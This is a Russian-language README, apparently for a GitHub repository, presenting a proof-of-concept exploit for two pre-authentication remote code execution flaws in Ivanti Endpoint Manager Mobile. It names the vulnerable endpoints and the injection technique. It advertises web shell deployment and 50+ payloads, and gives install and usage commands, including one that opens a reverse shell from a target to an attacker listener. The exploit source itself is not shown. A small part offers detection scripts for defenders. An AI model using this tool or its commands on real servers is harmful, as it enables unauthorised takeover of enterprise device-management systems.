CVE-2026-1281 и CVE-2026-1340 — Ivanti EPMM Pre-Auth RCE

⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Данный PoC предоставляется исключительно в образовательных целях и для исследований в области безопасности. Использование без явного разрешения незаконно.

🎯 Описание

Полный Proof of Concept (PoC) для эксплуатации уязвимостей CVE-2026-1281 и CVE-2026-1340, затрагивающих Ivanti Endpoint Manager Mobile (EPMM). Эти уязвимости позволяют выполнять произвольный код удалённо (RCE) без аутентификации через механизм Bash Arithmetic Expansion.

Уязвимости

CVE-2026-1281 : Инъекция кода в конечной точке /mifs/c/appstore/fob/
CVE-2026-1340 : Инъекция кода в конечной точке /mifs/c/aftstore/fob/
Оценка CVSS : 9.8 (Critical)
Эксплуатация : Активная эксплуатация in-the-wild (Zero-Day)

🚀 Возможности

✅ Автоматизированная система валидации (8 тестов)
✅ Эксплуатация Pre-Auth RCE
✅ Автоматический reverse shell
✅ Развёртывание веб-шелла
✅ 50+ готовых payload-ов
✅ Скрипты обнаружения для Blue Team
✅ Полная документация

📦 Установка

git clone https://github.com/MehdiLeDeaut/CVE-2026-1281-Ivanti-EPMM-RCE.git
cd CVE-2026-1281-Ivanti-EPMM-RCE
pip3 install -r requirements.txt
chmod +x *.py

🎯 Быстрое использование

# Проверка уязвимости
python3 exploit.py -t https://target.com -c

# Проверка RCE
python3 exploit.py -t https://target.com --test-rce

# Reverse shell
python3 exploit.py -t https://target.com --reverse-shell 10.10.14.5:4444

📚 Документация

Полный README — Подробная техническая документация
Руководство по использованию — Пошаговое руководство
Payload-ы — Коллекция из 50+ payload-ов
Руководство Red Team — Операционные сценарии

🔗 Ссылки

👤 Автор

Mehdi Le Deaut — Консультант по кибербезопасности | Специалист Red Team

⚖️ Лицензия

Этот проект распространяется под лицензией MIT — см. файл LICENSE для получения подробной информации.

🙏 Благодарности

CERT-FR за оперативное предупреждение
Watchtowr Labs за технический анализ
Сообществу специалистов по кибербезопасности

CVE-2026-1281-Ivanti-EPMM-RCE

Популярное